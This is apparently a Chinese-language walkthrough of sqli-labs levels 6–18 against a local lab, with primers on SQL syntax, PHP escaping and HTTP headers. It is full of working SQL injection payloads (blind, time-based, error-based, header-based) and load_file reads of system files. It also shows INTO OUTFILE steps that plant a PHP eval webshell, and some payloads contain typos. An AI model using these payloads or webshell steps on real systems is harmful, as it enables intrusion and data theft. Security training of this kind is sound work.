2
3
4
5
6
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
//char(99,58,47,98,111,111,116,46,105,110,105)就是c:/boot.ini的ASCII代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
//“c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69
-1 union select 1,1,1,load_file(c:\\boot.ini)
//路径内的/用\\代替

文件导入到数据库

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

在注入的过程中,我们往往需要一些特殊的文件,比如说配置文件,密码文件等。当拥有数据库的权限时,可以将系统文件利用load data infile导入到数据库中。

例如:

1
load data infile '/tmp/to.txt' ignore into table to character set gbk fields terminated by '\t' lines terminated by '\n'

将/tmp/to.txt导入到t0表中,character set gbk是字符集设置为gbk,fileds terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符

当错误代码为2时,文件不存在,错误代码为13时没有权限,可以考虑/tmp文件

导入到文件

1
select ......into outfile 'file_name'

可将被选择的某一行写入到一个文件中,该文件被创建到服务器主机上,前提是拥有file权限,才能使用该语法,file_name不能是一个已经存在的文件。

一般有两种利用形式:

  • 直接将select内容导入到文件中:

    1
    select version() into outfile "c:\\phpnow\\htdocs\\test.php"

    此处将version()替换成y一句话,也可以使用即:

    1
    select <?php @eval($_post["mima"]) ?php> into outfile "c:\\phpnow\\htdocs\\test.php"

    然后直接连接一句话即可,其实在select内容还可以上传很多的内容。

  • 修改文件结尾

    1
    select version() into outfile "c:\\phpnow\\htdocs\\test.php" lines terminated by 0x16 进制文件

    通常情况下,用‘\r\n’结尾,此处修改为自己想要的任何文件,同事可以用FIELDS TERMINATED BY。16进制可以为一句话或者其他任何的代码

TIPS:

  • (1)可能在文件路径当中要注意转义,具体看环境

  • (2)load_file()当前台无法导出数据的时候,可以使用:

    1
    select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') into outfile 'c:\\wamp\\www\\test.php'

    可利用该语句将服务器当中的内容导入到web服务器的目录中,这样就可以找到数据。在my.ini当中存在password项(默认被注释),会有很多可以被导出来。

less7

连接标题是dump into outfile 意思就是利用文件导入的方式进行注入。

首先还是回归源码中:

1
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

在源码中对id参数进行 '))处理,可以尝试 ')) or 1=1 -- +进行注入

1
http://localhost/sqli-labs-master/Less-7/?id=1')) or 1=1 -- +

以下为使用文件导入的方式进行注入:

1
http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\uuu.txt" -- +

图中显示sql出错但是在文件中还是创建了uuu.txt文件。

ps:若无法生成文件,需要将my.ini配置文件中的secure_file_priv选项设置为空,若无该选项则添加设置secure_file_priv=’’

测试完成则将一句话木马放进去

1
http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_post["mima"]) ?>' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\yijuhua.php" -- +

当访问页面时,一句话没有显示

然后使用菜刀进行连接。

less8

通过测试发现or 1=1 -- +返回正常,参考less5的playload进行注入

1
2
http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- +   //数据库名第一位为s
http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr(database(),2,1))=1011,sleep(5)) -- + //数据库名第二位为e

测试发现可以使用延时注入,并查看less8的源码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

在源码中发现当数据库查询发生错误时,没有输出任何的报错信息,也就是与less5相比,我们无法使用报错注入的方式。其余playload与less5一致。

1
2
3
4
5
6
7
8
9
http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- + //返回是正确的,测试至101开始报错,说明security库下第一个表的第一个字符为e
http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80 -- + //返回正确,测试至109报错,得到第二个字符为m

http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>80 -- + //返回正确,测试至114开始报错,说明security下第二个表的第一个字符为r

http://localhost/sqli-labs-master/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) -- + //查询user表中的列名是否有us**的列
http://localhost/sqli-labs-master/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)-- +

http://localhost/sqli-labs-master/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 -- + //获取表中的内容,获取username中第一行的第一个字符的ascii,与68进行比较即为D,然后差不多都是直接重复上面换字符位置的查询操作

less9

在连接的标题看到该关卡是关于基于时间-单引号的注入方式,明显是需要通过延迟注入,同时将对参数id进行'进行处理。既然前面已经有延时注入的方式,所以这边直接贴playload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
猜测数据库名
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- + //说明第一位是s (ascii为115)
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) -- + //说明第二位是e
......
以此类推,得到数据库名为security

猜测security的数据表
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) -- + //猜测第一个数据表的第一位为e,以此类推得到emails
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))-- + //猜测第二个数据表emails,referers, uagents,users

猜测users表的列
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) -- + //猜测users表的第一列的第一个字符是i,然后以此类推得到列名为 id,username,password

猜测username的值
http://localhost/sqli-labs-master/Less-9/?id=1and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) -- + //猜测username的第一行的第一位 以此类推得到数据库username,password的所有内容

上述过程就是通过延时注入的全部过程,当然也可以使用benchmark()函数进行注入。

less10

标题提示基于时间-双引号,与less9一样,该关卡使用的是延时注入的方式,区别在于less9对id进行的是单引号处理,而这边是使用双引号处理。

1
2
猜测数据库名
http://localhost/sqli-labs-master/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- +

其余的playload参考less9的内容一样

less11

这边开始要通过post提交数据,post就是将数据从客户端提交到服务器端。例如下面这个界面,通过界面输入用户名和密码,用户名和表单以表单的形式提交,提交到服务器后服务器再进行验证。这就是一个post的过程。

进行post注入有两种方式进行,一种是直接在页面进行传输数据,但是这样比较不直观,另一种是使用burpsuite进行报文拦截然后进行修改发送,比较直观。使用burpsuite拦截本地主机报文需要进行设置。(以Google chrome为例)

  • 在代理插件处将不拦截报文的地址将内容删除

  • 将Internet选项中的连接-》局域网设置中的代理服务器进行设置,如下

  • 查看本地ip地址,将浏览器中的localhost该ip地址

就可以使用burpsuite的报文

由上面这张图可以看到通过post传输的参数共有三个

1
uname=1&passwd=1&submit=Submit

其中键入的数据的变量为uname和passwd,通过像get参数传输的注入方式进行post注入,例如:

uname:admin' 
passwd:  111(随便输入)

数据库进行了报错回显,通过报错信息我们发现sql查询语句进行了单引号处理

传入参数:uname:admin’# 密码随意

发现直接将用户名密码查询出来了,username:admin password:admin。当提交username和password后,后台形成的sql语句为

1
SELECT username, password FROM users WHERE username='admin'#' and password='$passwd' LIMIT 0,1

#将admin后面的内容注释掉,而在数据库中包含admin用户名所以语句成立,此时就使用admin进行了登录,然后尝试使用get注入中用到的其他语句进行代替or 1=1进行注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
username: 1admin'union select 1,database()#
passwd: 任意密码
//得到数据库名称为security

username: 1admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
passwd:任意密码
//得到数据库内的所有表名emails,referers,uagents,user

username:1admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
passwd:任意
//得到users表中的列名:id,username,password

username:1admin' union select username,password from users where id=3#
passwd:任意密码
//得到任意用户的用户名和密码

less12

当键入username:admin’ passwd:1 没有任何的报错回显,

尝试双引号,即username:admin” passwd:1

错误回显发现1”) LIMIT 0,1,发现在参数进行了处理将username进行了处理,需要增加

所以参照less11构造相关的查询语句变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
username:1admin") union select 1,database()#
passwd:任意
//获得数据库名security

username:1admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
passwd: 任意
//获得表名emails,referers,uagents,users

username:1admin") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
passwd:任意
//获得列名id,username,password

username:1admin") union select username,password from users where id=3#
passwd:任意
//可查询所有用户信息

less13

键入变量值:username: admin’ password: 1(任意)

获得报错信息1’) LIMIT 0,1可知是username进行了‘)处理,将参数增加进行注入尝试,username: admin’) # password: 1

发现回显的只有成功登录的信息,没有返回的用户信息,这样就只能使用布尔盲注进行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
uname:admin') and length(database())=8#
passwd:1
//猜测数据库名长度为8

uname:admin') and left(database,1)>'a'#
passwd:1
//猜测数据库名的第一位为s

uname:admin') and left(database(),2)>'sa'#
passwd:1
//猜测数据库的第二位为se
......
逐步猜测数据库名为security

uname:admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>80#
passwd:1
//猜测数据库security下第一个表名的第一个字符 第一个应为101-》e
uname:admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>108#
passwd:1
//猜测数据库security下第一个表名的第二个字符 第二个为108-》m
......
得到数据库security下第一个表名的全程为email

uname:admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>113#
passwd:1
//得到数据库security下第二个表名的第一个字符 113—》r

uname=admin') and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)#
passwd:1
//regexp获取users表中的列名,是否有us**列
......
查询出users表中的列名

uname:admin') and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68#
//利用ord()和mid()函数获取users表中的内容,获取username中的第一行的第一个字符的ascii,与68进行比较即为D,而第一行的数据是Dumb。

less14

使用uname:admin’ passwd:1尝试发现不行,然后使用uname:admin” passwd:1发现有了报错回显,根据错误显示,对username进行了处理。

uname:admin”# passwd:1 成功登陆后发现与less13一样,没有用户信息返回,使用盲注的方式就行注入。

1
2
3
uname:admin" and length(database())=8#
passwd:1
//测试数据库名长度为8

其余参考less13,只需将‘)改为就行了

也可使用报错注入的方式。

1
2
3
uname:admin" and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
passwd:1
//获取数据库版本号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
uname:admin" and extractvalue(1,concat(0x7e,(select database()),0x7e))#
passwd:1
//获取数据库名security

uname:admin" and rxtractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='users' limit 0,1),0x7e))#
passwd:1
//获取数据库security下的第一个表名为email
//本想回去获取所有表名的,使用adminand extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='users'),0x7e))#
//发现返回的错误是Subquery returns more than 1 row并没有获取到相应的信息
uname:admin" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='users' limit 1,1),0x7e))#
passwd:1
//获取数据库security下第二个表名为referers
......
重复构造相应的轮子至使所有的表格注入出来

uname:admin" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))#
passwd:1
//获取users表中第一列的列名id
以此类推,将所有列名注入出来

uname:admin" and extractvalue(1,concat(0x7e,(select username from users where id=3),0x7e))#
passwd:1
//注出id=3的用户名
uname:admin" and extractvalue(1,concat(0x7e,(select password from users where id=3),0x7e))#
//注出id=3的密码

less15

本关卡通过admin'admin"进行都没有任何的错误返回,查看源码得到sql查询语句

1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

获知对uname进行单引号处理,同时无法使用报错注入的方式,可以使用延时注入。

1
2
3
4
5
uname:admin' and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
passwd:1
uname;admin' and if(ascii(substr(database(),2,1))=101,1,sleep(5))#
passwd:1
//逐步猜测出数据库名为security

当正确时可以直接登录,不正确则会延迟5秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uname:admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))#
passwd:1
//security下第一个表名的第一个字符 101-》e
uname:admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=108,1,sleep(5))#
passwd:1
//security下第一个表名的第二个字符 108-》m
....
逐步猜测表名为emails

uname:admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))#
passwd:1
//security下第二个表名的第一个字符 114-》r
......
逐步猜测所有表名

uname:admin' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))#
passwd:1
//猜测表中第一个列名的第一个字符 105-》i
.....
逐步猜测出所有列名

uname:admin' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))#
passwd:1
//猜测username的第一行中的第一位 69-》D
.....
逐步猜测出所有的用户名和密码

less16

通过使用 adminadmin"进行尝试,发现没有任何的反应,猜测要使用延时注入的方式进行,查看源码发现sql查询语句:

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

查询语句中将uname和passwd进行了双引号和括号处理,所以将less15中的playload进行单引号变双引号加上括号即可。

1
2
3
4
5
6
7
8
uname:admin") and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
passwd:1
//查询数据库名的第一个字符是否为 s 115-》s
uname:admin") and if(ascii(substr(database(),2,1))=101,1,sleep(5))#
passwd:1
//查询数据库名第二个字符为e 101-》e
......
逐步查询出数据库名为security

当语句正确时可以直接登录,不正确时延时5秒 。其余playload与less15一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uname:admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)#
passwd:1
//查询security下第一个表的第一个字符是否为e 101-》e
uname:admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=108,1,sleep(5))#
//查询security下第一个表的第二个字符是否为m 108-》m
......
逐步查询出第一个名emails

uname:admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))#
passwd:1
//查询security第二个表的第一个字符是否为r 114-》r
uname:admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))#
passwd:1
//查询security第二个表的第二个字符是否为e 101-》e
......
逐步查询出第二个表名为referers

uname:admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))#
passwd:1
//查询users表中的列名

uname:admin") and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))#
passwd:1
//猜测username的第一行中的第一位 69-》D
.....
逐步猜测出所有的用户名和密码

Background-4 数据库增删改查

数据库最常用的四个功能,增删改查

增加一行数据insert,语法:

1
2
3
4
5
6
7
8
9
10
11
12
//插入单行
insert [into] <表名> (列名) values (列值);
例:insert into students (姓名,性别,出生日期) values('一一一','男','1980/6/6');
//将现有表数据添加到一个已有表
insert into <已有的新表> <列名> select <原表列名> from <原表名>;
例:insert into students ('姓名','性别','出生日期') select 姓名,性别,出生日期 from studentmessages;
//用现有数据表创建一个新表并填充
select <新建表列名> into <新建表名> from <源表名>;
例:select name,address,email into students from studentmessages;
//使用union关键字合并数据进行插入多行
insert <表名> <列名> select <列值> union select <列值>;
例:insert students (姓名,性别,出生日期) select '一一一','男','1980/6/6' union select '二二二','男','1980/7/7';

删除一行数据 delete

1
2
3
4
5
6
7
8
9
//删除<满足条件的>行
delete from <表名> [where <删除条件>];
例:delete from a where name='一一一';
//删除整个表
drop table <表名>
例:drop table students;
//删除数据库
drop database 数据库名
删除表中的列:alter table 表名 drop column 列名;

更改数据 update

1
2
update <表名> set <列名=更新值> [where <更新条件>]
例:update students set 年龄=18 where 姓名='三三三';

查询数据 select

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//精准(条件)查询
select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[ascdesc]]
1.查询所有行与列
select * from a;
2.查询部分的行列--条件查询
select i,j,k from a where f=5;
3.在查询中使用as更改列名
select name as 姓名 from a where xingbie='男';
//查询a表中性别为男的所有行,显示name列,并将name列名为(姓名)显示
4.查询空行
select name from a where email is null;
//查询表a中email为空的所有行,并显示name列
5.在查询中使用常量
select name, '唐山' as 地址 from student;
//查询表a,显示name列,并添加地址列,其列值都为'唐山'
6.查询返回限制行数
select top 6 name from a;
//查询表a,显示列name前6行,top为关键字
select TOP 60 percent name from a;
//查询表a,显示列name的60%,percent为关键字
7.查询排序(关键字:order by, asc, desc
select name from a where chengji>=60 order by desc;
//查询a表中的chengji大于等于60的所有行,并按降序显示name列,默认是asc升序

//模糊查询
1.使用like进行模糊查询(like运算符只用于字符串,仅与char和varchar数据类型联合使用)
select * from a where name like '赵%';
//查询显示表a中,name字段第一个字为赵的记录
2.使用between在某个范围内进行查询
select * from a where nianling between 18 and 20;
//查询表a中nianling在18到20之间的记录
3.使用in在列举值内进行查询
select name from a where address in ('北京','上海','唐山');
//查询表a中address值为北京或者上海或者唐山的记录,显示name字段

//分组查询
1.使用group by 进行分组查询
select studentID as 学员编号,AVG(score) as 平均成绩 from score group by StudentID
//第一个score是列名,第二个score是表名
//在表score中查询,按照studentID字段进行分组,显示studentID字段和score字段的平均值select语句中只允许被分组的列和为每个分组返回的一个值的表达式,例如用一个列名作为参数的聚合函数
2.使用having子句进行分组筛选
select studentID as 学员编号,AVG(score) as 平均成绩 from score group by studentID having count(score)>1;
//第一个score是列名,第二个score是表名
//显示分组后count(score)>1的行,由于where只能在没有分组时使用,分组后只能使用having来限制条件

//多表连接查询
1.内联接
(1)在where子句中指定联接条件
select a.name,b.chengji from a,b where a.name=b.name
//查询表a和表b中name字段相等的记录,并显示表a中的name字段和表b中的chengji字段
(2)在from子句中使用join...on
select a.name,b.chengji from a inner join b on (a.name=b.name);
2.外连接
(1)左外联接查询
select s.name,c.courseID,c.score from students as s left outer join score as c on s.scode=c.studentID;
//在students表和score表中查询满足on条件的行,条件为score表的studentID与students表中的sconde相同
(2)右外联接查询
select s.name,c.courseID,c.score from students as s right outer join score as c on s.scode=c.studentID
//在students表和score表中查询满足on条件的行,条件为students表中的sconde与score表的stuentID相同

less17

由页面标题得知,这是一个密码重置的过程,主要会利用到update语句。

尝试使用报错注入

1
2
uname:admin
passwd:1'

错误回显:

1
near 'admin'' at line 1

说明在重置密码的时候使用单引号进行处理。使用报错盲注

1
2
3
uname:admin
passwd=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
//获取数据库版本

将@@version换成需要查询的子句即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
uname:admin 
passwd:1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
//获取数据库名

uname:admin
passwd:1' and extractvalue(1,concat(0x7e,(select table_name from infromation_schema.tables where table_schema='security' limit 0,1),0x7e))#
//查询第一个表名
.....
逐步查询所有表名

uname:admin
passwd:1' and extractvalue(1,concat(0x7e,(select columns_name from information_schema.columns where table_name='users' limit 0,1),0x7e))#
//查询users表中的列名

uname:admin
passwd:1' and extractvalue(1,concat(0x7e,(select username from users where id=3),0x7e))#
//查询用户名和密码

这边使用passwd作为注入点而不是像之前的使用uname,是因为在后台对uname进行了处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
//check_input函数如下
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

后台对uname参数进行check_input()函数进行检查。

此处需要了解的一些函数:

addslashes()

addslashes()函数返回在预定义字符之前添加反斜杠的字符串

预定义字符:

  • 单引号 '
  • 双引号 "
  • 反斜杠 \
  • NULL

tips:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

默认情况下,php对所有的GET、POST和COOKIE数据自动运行addslashes(),所以不应对已转义过的字符串使用addslashes(),否则将导致双层转义,遇到这种情况时可使用get_magic_quotes_gpc()进行检测。

语法:addslashes(string)

参数stringi 是必需字段,规定要转义的字符 返回值为已转义的字符串

要求在PHP 4+版本

stripslashes()

函数删除由addslashes()函数添加的反斜杠

mysql_real_escape_string()

函数转义SQL语句中使用的字符串中的特殊字符。

主要是以下字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回false

语法:mysql_real_escape_string(string,connection)

参数 描述
string 必需,规定要转义的字符串
connection 可选,规定Mysql连接,如果未规定,则使用上一个连接

本函数string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用mysql_query()。

所以在本关卡check_input()中,对username进行各种转义的处理,所以此处不能使用uname进行注入。

Background-5 HTTP头部介绍

Http头部详解

1.Accept:告知web服务器自己接受什么介质类型,*/*表示任何类型, type/*表示该类型下的所有子类型,type/sub-type

2.Accept-Charset:浏览器申明自己接收的字符串

Accept-Encoding:浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)

Accept_Language:浏览器申明自己接收的语言

语言与字符串的区别:中文是语言,中文有很多字符集,比如big5,gb2312,gbk等

3.Accept_Ranges:web服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受

4.Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间。

5.Authorization:当客户端接收来自WEB服务器的WWW-Authenticate响应时,用该头部来回应自己的身份验证信息给WEB服务器

6.Cache-Control:

请求:
no-cache(不要缓存的实体,要求现在从web服务器获取)
max-age:(只接受Age值小于max-age值,并没有过期的对象)
max-stale:(可以接受过期的对象,但是过期时间必须小于max-stale值)
min-fresh:(接受其新鲜生命期大于其当前Age跟min-fresh值之和的缓存对象)

响应:
public(可以使用Cached内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有跟web服务器验证其有效后,才能返回给客户端)
max-age: (本响应包含的对象的过期时间)
ALL:no-store(不允许缓存)

7.Connection:

请求:
close(告诉web服务器或者代理服务器,在完成本次请求的响应后断开连接,不要等待本次连接的后续请求)
keeplive(告诉web服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)

响应:
close(连接已经关闭)
keepalive(连接保持着,在等待本次连接的后续请求)
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望WEB服务器保持连接多长时间(s),例如:Keep-Alive:300

8.Content-Encoding:web服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip

9.Content-Language:WEB服务器告知浏览器自己响应的对象的语言

10.Content-Length:web服务器告知浏览器自己响应的对象的长度。例如:Content-Length:26012

11.Content-Range: web服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:Content-Range:bytes 21010-47021/47022

12.Content-Type:WEB服务器告知浏览器自己响应的对象的类型。例如:Content-Type:application/xml

13.Etag:就是一个对象(例如URL)的标志值,就对一个对象而言,比如一个html文件,如果被修改了,其ETag也会别修改,所以ETag的作用跟Last-Modified的作用差不多,主要供web服务器判断一个对象是否改变了。比如前一次请求某个html文件时,获得其ETag,当这次又请求这个文件时,浏览器就会把先前获得的ETag值发送给web服务器,然后web服务器就会把这个ETag跟该文件的当前ETag进行对比,然后就知道这个文件有没有改变。

14.Expired: web服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟web服务器验证了其有效性后,才能用来响应客户请求。是HTTP/1.0的头部。例如:Expires:Sat,23 May 2009 10:02:12 GMT

15:HostL:客户端指定自己想访问的web服务器的域名/IP地址和端口号。例如:Host:rss.sina.com.cn

16:If-Match:如果对象的ETag没有改变,意味着对象没有改变,才执行请求的动作。

17.If-None-Match:如果对象的ETag改变了,意味着对象也改变了,才执行请求的动作

18.If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作(比如返回对象),否则返回代码304,告知浏览器该对象没有修改。例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT

19.If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没有修改过,才执行请求的动作(比如返回对象)

20.If-Range:浏览器告诉WEB服务器,如果浏览器请求的对象没有改变,就把缺少的部分给浏览器,如果对象改变了,就将整个对象给浏览器。浏览器通过发送请求对象的ETag或者自己所知道的最后修改时间给web服务器,让其判断对象是否改变。总跟Range头部一起使用。

21.Last-Modified:WEB服务器认为对象的修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified: Tue,06 May 2008 02:42:43 GMT

22.Location:Web服务器告知浏览器,试图访问的对象已经被转移到别的位置,到该头部指定的位置去取。例如:Location:http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif

23.Pramga:主要使用 Pramga: no-cache,相当于Cache-Control: no-cache。例如:Pragma:no-cache

24.Proxy-Authenticate:代理服务器响应浏览器,要求其提供代理身份证验证信息。

Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。

25.Range:浏览器(例如:Flashget 多线程下载时)告知web服务器自己想取对象的哪部分。例如:Range:bytes=1173546-

26.Referer: 浏览器向web服务器自己是从哪个网页/URL获得/点击当前请求中的网址/URL。例如:Referer: http://www.sina.com/

27.Server:web服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61(Unix)

28:User-Agent:浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent: Mozilla/5.0
(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、 0、 0、 14

29.Transfer-Encoding:web服务器表明自己对本响应消息体作什么编码,比如是否分块(chunked)。例如:Transfer-Encoding:chunked

30.Vary:WEB服务器用该头部的内容告诉Cache服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源web服务器在接到第一个请求消息时,其响应消息的头部为:Content-Encoding:gzip; Vary:Content-Encoding 那么Cache服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary头部值一致,即是否使用相同的内容编码方法,这样就可以防止Cache服务器用自己Cache里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary: Accept-Encoding

31.Via:列出从客户端到OCS或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via头部,并填上自己的相关信息,当下一代代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求Via头部,并把自己的相关信息加到后面,以此类推,当OCS收到最后一个代理服务器的请求时,检查Via头部,就知道该请求所经过的路由。例如:Via: 1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13)

less18

从源码中看到:

1
2
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

再本关卡对uname和passwd进行了check_input()函数处理,所以无法通过uname和passwd进行注入行不通,查看源码,发现sql语句:

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

将useragent和ip插入到数据库中,那么是否可以尝试用这个进行注入?IP地址我们一般无法更改,但是可以通过抓包软件修改useragent。使用burpsuite进行抓包并修改报文。

从上图可以看到,当提供正确的账号密码之后前台可以显示user-agent并且内容是我们通过报文修改之后的,那么当我们将user-agent内容改为注入语句呢?

例如:

1
user-agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

可以看到已经获取到版本号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user-agent: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
//获取数据库名

